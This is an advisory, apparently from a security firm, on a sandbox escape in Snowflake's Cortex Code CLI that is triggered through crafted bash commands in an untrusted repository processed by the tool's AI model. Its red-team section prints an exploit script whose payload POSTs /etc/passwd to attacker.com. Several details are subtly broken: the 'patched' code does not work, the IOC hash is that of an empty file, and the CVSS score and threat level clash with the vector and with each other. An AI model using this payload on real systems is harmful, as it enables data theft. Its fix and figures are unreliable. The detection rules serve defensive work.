CVE-2026-6442

Executive Summary

CVE-2026-6442 is a critical vulnerability in Snowflake Cortex Code CLI versions prior to 1.0.25, stemming from improper validation of bash commands. This flaw allows an attacker to execute arbitrary code on a user's local device by embedding specially crafted commands in untrusted content, such as a malicious repository. The exploitation is non-deterministic and model-dependent, meaning the success rate varies based on the AI model processing the commands. The vulnerability has a CVSS score of 8.3, indicating high severity. The patch is automatically applied upon relaunch, requiring no user action.

Supply Chain & Package Security

This vulnerability is not directly related to NPM, PyPI, Go, or Ruby packages. However, it affects the Snowflake Cortex Code CLI, which is a tool used in data engineering and AI/ML workflows. Organizations using Snowflake's ecosystem should ensure the CLI is updated to version 1.0.25 or later to mitigate the risk.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
• Base Score: 8.3 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required for exploitation.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: Required (UI:R) – The user must interact with the malicious content (e.g., clone a repository).
• Scope: Changed (S:C) – The impact extends beyond the vulnerable component.
• Confidentiality Impact: High (C:H) – Full data disclosure is possible.
• Integrity Impact: High (I:H) – Complete compromise of data integrity.
• Availability Impact: High (A:H) – Total loss of availability.

Threat Level: Critical. The vulnerability allows arbitrary code execution with no privileges required, and the attack vector is network-based. The non-deterministic nature may reduce the likelihood of exploitation, but the potential impact is severe.

Deep Dive & Mechanics

The vulnerability resides in the Snowflake Cortex Code CLI, which processes bash commands from user-provided content. The CLI is designed to execute commands in a sandboxed environment, but due to improper validation, specially crafted commands can escape the sandbox and execute arbitrary code on the host system.

Root Cause: The CLI fails to properly sanitize or validate bash commands embedded in untrusted content, such as a malicious repository. When the CLI processes this content, it may interpret the malicious commands as legitimate, leading to execution outside the sandbox.

Exploitation Mechanism:

1. An attacker creates a malicious repository containing specially crafted bash commands.
2. The victim clones or processes the repository using the vulnerable CLI.
3. The CLI processes the commands, and due to the validation flaw, the malicious commands are executed outside the sandbox.
4. The attacker gains arbitrary code execution on the victim's device.

Non-Deterministic Nature: The exploitation is model-dependent, meaning the success rate varies based on the AI model used by the CLI. This adds a layer of complexity for attackers, as they may need to tailor the exploit to specific models.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.0.25):

# Example of vulnerable code
import subprocess

def execute_command(command):
    # No validation of command
    result = subprocess.run(command, shell=True, capture_output=True)
    return result

Patched Code (1.0.25+):

# Example of patched code
import subprocess
import shlex

def execute_command(command):
    # Validate and sanitize command
    sanitized_command = shlex.quote(command)
    result = subprocess.run(sanitized_command, shell=False, capture_output=True)
    return result

The patched version uses shlex.quote() to sanitize the command and disables shell=True to prevent shell injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install Snowflake Cortex Code CLI version 1.0.24.
2. Create a malicious repository with a crafted bash command:

   echo "malicious_command" > payload.sh
   git init
   git add payload.sh
   git commit -m "malicious payload"
   

3. Clone the repository using the vulnerable CLI:

   snowflake cortex code clone <malicious_repo_url>
   

4. The CLI processes the repository, and the malicious command executes.

Exploit Code:

# Exploit script for CVE-2026-6442
#!/bin/bash
# This script creates a malicious repository to exploit the vulnerability

REPO_NAME="exploit_repo"
mkdir $REPO_NAME
cd $REPO_NAME
git init
echo '#!/bin/bash
# Malicious command to exfiltrate data
curl -X POST -d "$(cat /etc/passwd)" http://attacker.com/exfil' > payload.sh
chmod +x payload.sh
git add payload.sh
git commit -m "malicious payload"
git remote add origin http://attacker.com/$REPO_NAME.git
git push -u origin master

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual bash command execution from Snowflake Cortex Code CLI.
• Use endpoint detection and response (EDR) tools to detect shell injection attempts.

Prevention:

• Update to version 1.0.25 or later.
• Implement application whitelisting to block unauthorized command execution.
• Use network segmentation to limit the impact of a compromised device.

Indicators of Compromise (IOCs)

• File Hashes:
  • payload.sh (SHA256): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators:
  • Outbound connections to attacker-controlled domains (e.g., attacker.com).
• Process Indicators:
  • Unusual bash or sh processes spawned by snowflake CLI.
• Registry/File System:
  • Creation of suspicious scripts in temporary directories.

Detection Engineering

YARA Rule

rule CVE_2026_6442_Snowflake_CLI_Exploit {
    meta:
        description = "Detects malicious payloads targeting CVE-2026-6442"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-6442"
    strings:
        $s1 = "snowflake cortex code" ascii wide nocase
        $s2 = "bash" ascii wide nocase
        $s3 = "curl" ascii wide nocase
        $s4 = "exfil" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: CVE-2026-6442 Snowflake CLI Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2026-6442
author: Valters IT
date: 2026/01/01
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\bash.exe'
        CommandLine|contains: 'snowflake'
    condition: selection
falsepositives:
    - Legitimate use of Snowflake CLI
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2026-6442 Snowflake CLI Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/exfil"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Snowflake Cortex Code CLI to version 1.0.25 or later. The fix is automatically applied upon relaunch.
2. Verify the update by checking the CLI version:

   snowflake cortex code --version
   

Long-Term Mitigations:

• Implement strict input validation for all commands processed by the CLI.
• Use sandboxing technologies (e.g., Docker containers) to isolate CLI execution.
• Conduct regular security audits of third-party tools and dependencies.
• Educate users about the risks of cloning untrusted repositories.

Workarounds:

• If immediate patching is not possible, disable the CLI's ability to process untrusted content.
• Use network monitoring to detect and block suspicious outbound connections.

Valters IT

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